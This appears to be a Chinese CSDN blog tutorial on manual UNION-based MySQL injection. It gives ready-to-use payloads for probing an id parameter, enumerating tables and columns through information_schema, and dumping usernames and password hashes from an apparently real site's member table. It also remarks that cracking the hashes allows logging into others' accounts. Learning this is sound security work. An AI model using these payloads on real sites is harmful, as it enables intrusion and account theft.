MySQL手工注入入门

本文介绍了MySQL手工注入的基本步骤,从测试注入点开始,通过猜表字段数、使用联合查询来爆出显示位,接着查询数据库信息、数据表,进一步猜解表中字段并获取字段内容。通过这些操作,可以深入理解SQL注入的原理和实践。
摘要由CSDN通过智能技术生成

(1)测试注入点是否可用

	常用方法:
		(1)链接后加单引号看页面是否报错
		(2)链接后分别加 and 1=1 与 and 1=2 看返回页面是否有差异

实例测试:
1)链接后加 ’ 返回页面错误

2)链接后加 and 1=1 返回页面正常

3)链接后加 and 1=2 返回页面错误

可以看出此网站存在注入点,接下来就可以尝试在 id 处手工进行注入。

(2)猜表字段数

	常用方法:
		(1)链接后加 order by 字段数 									 # 小于等于表字段数返回正常,大于返回错误
		(2)链接后加 union select 1,2,3···							 # 依次追加位数,看返回正常页面或页面显示数字值

实例测试:
1)order by 4 返回页面正常

2)order by 5 返回页面错误


可看出此页面来源数据表中包含 4 个字段,接下来就可以使用联合查询查显示位进行注入。

(3)使用联合查询,爆出显示位

	常用方法:
		(1)链接后加 union select 1,2···									# 链接后为查询到的字段数
		(2)链接后加 and 1=2 union select 1,2,3···

实例测试:
1)union select 1,2,3,4 返回页面正常,未爆出显示位

2)and 1=2 union select 1,2,3,4 爆出显示位

(4)查询数据库信息

	常用方法:
		user()											# 当前数据库用户
		version()										# 数据库版本
		database()										# 当前网站数据库

实例测试:
1) and 1=2 union select 1,user(),3,4 查询当前用户

2)and 1=2 union select 1,version(),database(),4 查询数据库版本与当前网站数据库,此处有两个显示位,可同时使用

(5)查询相关数据表

	方法:
		(1)and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=库名16进制值 limit 0,1--+
		(2)and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=库名16进制值 limit 0,1#				# 0为查询第几张表,按实际情况增加

实例测试:
and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=0x78696E6765 limit 0,1–+

(6)查询、猜解表中字段

	常用方法:
		(1)and 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name=表名16进制值 limit 0,1--+				#需有对information_schema库有读取权限
		(2)and 1=2 union select 1,字段名,3,4 from 表名  limit 0,1--+				#无information_schema库读取权限,看页面是否有返回值(较麻烦)

实例测试:
1) and 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name=0x74785F6D656D626572 limit 0,1–+

2)and 1=2 union select 1,username,3,4 from tx_member limit 0,1–+

(6)查询字段内容

	常用方法:
		(1)and 1=2 union select 1,concat_ws(字段名),3,4 from xinge.tx_member limit 0,1--+				#字段名用 "," 隔开,可同时爆出内容
		(2)and 1=2 union select 1,字段名,3,4 from 表名  limit 0,1--+				

实例测试:
1)and 1=2 union select 1,concat_ws(id,username),concat_ws(id,password),4 from xinge.tx_member limit 0,1–+

2) and 1=2 union select 1,username,password,4 from tx_member limit 0,1–+
解密MD5就可以登录别人的账户,楼主仅学习时测试使用,该漏洞已提交漏洞平台。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值